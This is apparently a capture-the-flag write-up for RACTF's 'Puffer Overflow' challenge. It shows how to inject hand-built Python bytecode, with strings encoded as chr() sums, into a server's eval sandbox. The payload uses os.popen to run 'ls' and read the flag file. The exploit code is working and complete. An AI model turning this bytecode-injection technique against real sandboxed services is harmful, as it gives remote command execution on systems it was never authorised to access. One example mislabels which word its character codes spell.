RACTF: Puffer Overflow
This challenge is just an exercise in "write some Python assembly". Although Python gives lots of nice utilities for dumping out the code for a particular function, there are some funny things about how they load your code. This is the relevant part on the server:
consts = (*range(256), ) names = ("chr", "ord", "globals", "locals", "getattr", "setattr") # Tag on a trailing RETURN call just incase. code += b"S\x00" # Construt the code object inject = CodeType( #0, # For python 3.8 0, 0, 0, stacksize, 2, code, consts, names, (), "", "", 0, b"", (), () ) # Create a copy of globals() and load in builtins. builtins aren"t # normally included in global scope. globs = dict(globals()) globs.update({i: getattr(builtins, i) for i in dir(builtins)}) # Go go go! return eval(inject, globs)
The key things here, some making it easier and some making it harder:
We're limited to only certain functions: chr, ord, globals, locals, getattr, setattr.
We're limited only to numeric constants from 0 to 256. This means no strings, at all.
But, our globals() will have all builtin functions! Which makes this a lot more sane.
The challenge helpfully offers us a put_on_stack function to load up to 32 bytes as a string, but I was lazy and wanted to solve this without writing any Python bytecode by hand. My goal now is to write a Python function that is compatible with these constants and names lists. Even if I wrote
def f(): return globals()[chr(7)+chr(9)]
it wouldn't work with their loading, because the names would be in the order ("globals","chr"), and the constants would be in the order (7,9). So when they load the code, it would actually run chr()[ord(0)+ord(1)] -- which would obviously fail.
So I want my code to have constants and names in the right order. So my function starts off as:
def f(): chr ord globals locals getattr setattr chr(1)+chr(2)+chr(3)+chr(4)+chr(5)+chr(6)+chr(7)+chr(8)+chr(9)+chr(10)+chr(11)+chr(12)+chr(13)+chr(14)+chr(15)+chr(16)+chr(17)+chr(18)+chr(19)+chr(20)+chr(21)+chr(22)+chr(23)+chr(24)+chr(25)+chr(26)+chr(27)+chr(28)+chr(29)+chr(30)+chr(31)+chr(32)+chr(33)+chr(34)+chr(35)+chr(36)+chr(37)+chr(38)+chr(39)+chr(40)+chr(41)+chr(42)+chr(43)+chr(44)+chr(45)+chr(46)+chr(47)+chr(48)+chr(49)+chr(50)+chr(51)+chr(52)+chr(53)+chr(54)+chr(55)+chr(56)+chr(57)+chr(58)+chr(59)+chr(60)+chr(61)+chr(62)+chr(63)+chr(64)+chr(65)+chr(66)+chr(67)+chr(68)+chr(69)+chr(70)+chr(71)+chr(72)+chr(73)+chr(74)+chr(75)+chr(76)+chr(77)+chr(78)+chr(79)+chr(80)+chr(81)+chr(82)+chr(83)+chr(84)+chr(85)+chr(86)+chr(87)+chr(88)+chr(89)+chr(90)+chr(91)+chr(92)+chr(93)+chr(94)+chr(95)+chr(96)+chr(97)+chr(98)+chr(99)+chr(100)+chr(101)+chr(102)+chr(103)+chr(104)+chr(105)+chr(106)+chr(107)+chr(108)+chr(109)+chr(110)+chr(111)+chr(112)+chr(113)+chr(114)+chr(115)+chr(116)+chr(117)+chr(118)+chr(119)+chr(120)+chr(121)+chr(122)+chr(123)+chr(124)+chr(125)+chr(126)+chr(127)+chr(128)+chr(129)+chr(130)+chr(131)+chr(132)+chr(133)+chr(134)+chr(135)+chr(136)+chr(137)+chr(138)+chr(139)+chr(140)+chr(141)+chr(142)+chr(143)+chr(144)+chr(145)+chr(146)+chr(147)+chr(148)+chr(149)+chr(150)+chr(151)+chr(152)+chr(153)+chr(154)+chr(155)+chr(156)+chr(157)+chr(158)+chr(159)+chr(160)+chr(161)+chr(162)+chr(163)+chr(164)+chr(165)+chr(166)+chr(167)+chr(168)+chr(169)+chr(170)+chr(171)+chr(172)+chr(173)+chr(174)+chr(175)+chr(176)+chr(177)+chr(178)+chr(179)+chr(180)+chr(181)+chr(182)+chr(183)+chr(184)+chr(185)+chr(186)+chr(187)+chr(188)+chr(189)+chr(190)+chr(191)+chr(192)+chr(193)+chr(194)+chr(195)+chr(196)+chr(197)+chr(198)+chr(199)+chr(200)+chr(201)+chr(202)+chr(203)+chr(204)+chr(205)+chr(206)+chr(207)+chr(208)+chr(209)+chr(210)+chr(211)+chr(212)+chr(213)+chr(214)+chr(215)+chr(216)+chr(217)+chr(218)+chr(219)+chr(220)+chr(221)+chr(222)+chr(223)+chr(224)+chr(225)+chr(226)+chr(227)+chr(228)+chr(229)+chr(230)+chr(231)+chr(232)+chr(233)+chr(234)+chr(235)+chr(236)+chr(237)+chr(238)+chr(239)+chr(240)+chr(241)+chr(242)+chr(243)+chr(244)+chr(245)+chr(246)+chr(247)+chr(248)+chr(249)+chr(250)+chr(251)+chr(252)+chr(253)+chr(254)+chr(255)
all of which does nothing except reference those things in the right order. Now for the actual payload code, I would like to run globs['print'](getattr(globals()['open']('flag.txt'),'read')())
Since I can't have any strings, I "escape" them to chr's using
def bou(s): return '+'.join("chr("+str(ord(i))+")" for i in s)
e.g. bou('print') gives chr(111)+chr(112)+chr(101)+chr(110). I run this then with
def f(): chr ord globals locals getattr setattr chr(1)+chr(2)+ ... snip getattr(globs[chr(111)+chr(112)+chr(101)+chr(110)](chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))() cc = bytearray(f.__code__.co_code) with open("puffer_pay.bin","wb") as fl: fl.write(b"a"*32 + cc + b"\n")
(The first 32 "a"s are to skip the stack operations they give us.) When I try this, I run into some prolems. First, the server stops reading the input bytecode at the first newline. Newline is ASCII value 10, and when I refer to the constant "10", which is also number 10 in the constants table, it cuts the code off early. So:
cc[cc.index(10)] = 11
Now the code runs great on their server. But I get no output. Maybe flag is somewhere else? I try getattr(globs['__import__']('os'),'system')('ls'), and still get no output. Then I realize that's probably an issue of stdout.
When Python does a forking server internally, it doesn't actually fork the process -- that would be dumb -- it just spawns threads. Each thread gets a virtual "stdout" that is used by Python statements such as print. But this isn't the actual stdout associated with it at the OS level. So when python calls system, that system command gets the Python process's original stdout. So the output of ls is just getting printed in the terminal of the server hosting it.
We could do fancy things like spawning a reverse shell, which would certainly work. But they've given us something easier: our code returns a value, which then gets printed. So all we need is to read the output of flag and return it as a string. But, we still need to find out where the flag is, because it doesn't seem to just be flag.txt, so we need to run ls.
Running system on Python just dumps output to stdout. To capture the output, use
return getattr(getattr(globs['__import__']('os'),'popen')('ls'),'read')()
Having run this, we get a dump of our working directory -- which turns out to be /. So then run
return getattr(getattr(globs['__import__']('os'),'popen')('cat ~/flag.txt'),'read')()
to get the flag.
Final code:
def f(): chr ord globals locals getattr setattr chr(1)+chr(2)+...snip...+chr(255) return getattr(getattr(globals()[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(111)+chr(115)),chr(112)+chr(111)+chr(112)+chr(101)+chr(110))(chr(99)+chr(97)+chr(116)+chr(32)+chr(126)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))() cc = bytearray(f.__code__.co_code) cc[97] = 11 with open("puffer_pay.bin","wb") as fl: fl.write(b"a"*32 + cc + b"\n")



















